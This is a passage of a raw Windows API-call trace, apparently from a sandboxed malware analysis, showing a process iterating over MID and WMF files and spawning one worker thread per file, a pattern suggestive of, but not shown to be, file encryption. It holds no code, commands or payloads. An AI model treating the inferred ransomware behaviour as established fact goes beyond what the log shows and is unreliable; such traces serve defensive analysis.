	[0250.744] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2568
	[0250.768] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.769] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SHOW_01.MID", cAlternateFileName="")) returned 1
	[0250.769] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x256c
	[0250.785] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.786] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d79200, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7d79200, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x2a0a, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL00256_.WMF", cAlternateFileName="")) returned 1
	[0250.786] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2570
	[0250.801] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.801] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4440b00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4440b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x7ca4, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL00260_.WMF", cAlternateFileName="")) returned 1
	[0250.801] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2574
	[0250.806] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.807] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e6bb00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e6bb00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL00268_.WMF", cAlternateFileName="")) returned 1
	[0250.807] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2578
	[0250.815] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.816] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c59500, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7c59500, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1dac, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL00286_.WMF", cAlternateFileName="")) returned 1
	[0250.816] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x257c
	[0250.826] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.827] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38ab6f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38ab6f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1268, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL00298_.WMF", cAlternateFileName="")) returned 1
	[0250.827] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2580
	[0250.834] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.835] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89bcf00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL00308_.WMF", cAlternateFileName="")) returned 1
	[0250.835] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2584
	[0250.838] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.839] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81165d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81165d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xae4, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL00345_.WMF", cAlternateFileName="")) returned 1
	[0250.839] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2588
	[0250.840] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.841] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5aabee00, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5aabee00, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL00452_.WMF", cAlternateFileName="")) returned 1
	[0250.841] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258c
	[0250.844] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.844] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff15900, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ff15900, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x1db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL00712_.WMF", cAlternateFileName="")) returned 1
	[0250.844] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2590
	[0250.846] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.847] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17d63d00, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17d63d00, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0xcdc, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL01040_.WMF", cAlternateFileName="")) returned 1
	[0250.847] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0250.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2594
	[0251.219] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.219] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1573e300, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1573e300, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0x60c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL01041_.WMF", cAlternateFileName="")) returned 1
	[0251.219] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2598
	[0251.221] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.221] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd76600, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7cd76600, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x1b04, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL01394_.WMF", cAlternateFileName="")) returned 1
	[0251.222] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.222] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x259c
	[0251.223] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.223] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747f2b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x747f2b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL01395_.WMF", cAlternateFileName="")) returned 1
	[0251.223] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25a0
	[0251.225] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.225] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6cc4, dwReserved0=0x72, dwReserved1=0x0, cFileName="SL01565_.WMF", cAlternateFileName="")) returned 1
	[0251.225] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25a4
	[0251.227] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.227] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a6e400, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8a6e400, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x36aa, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00017_.WMF", cAlternateFileName="")) returned 1
	[0251.227] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25a8
	[0251.229] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.229] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc775b700, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc775b700, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x32f6, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00018_.WMF", cAlternateFileName="")) returned 1
	[0251.229] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25ac
	[0251.231] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.231] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419f3f00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x419f3f00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x7a80, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00152_.WMF", cAlternateFileName="")) returned 1
	[0251.231] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25b0
	[0251.233] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.234] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35bab100, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35bab100, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x4754, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00157_.WMF", cAlternateFileName="")) returned 1
	[0251.234] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25b4
	[0251.235] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.236] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e388d00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e388d00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00159_.WMF", cAlternateFileName="")) returned 1
	[0251.236] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.236] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25b8
	[0251.237] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.237] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3815d700, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3815d700, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x35b2, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00166_.WMF", cAlternateFileName="")) returned 1
	[0251.237] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.238] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25bc
	[0251.239] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.240] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35b37d00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35b37d00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00168_.WMF", cAlternateFileName="")) returned 1
	[0251.240] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c0
	[0251.241] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.242] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34825000, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34825000, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x2242, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00170_.WMF", cAlternateFileName="")) returned 1
	[0251.242] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.242] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c4
	[0251.243] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.244] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2af8e800, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2af8e800, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x8f0e, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00177_.WMF", cAlternateFileName="")) returned 1
	[0251.244] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c8
	[0251.245] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.246] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x283c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00183_.WMF", cAlternateFileName="")) returned 1
	[0251.246] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25cc
	[0251.247] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.248] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a0ad00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a0ad00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x514c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00190_.WMF", cAlternateFileName="")) returned 1
	[0251.248] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.248] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25d0
	[0251.249] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
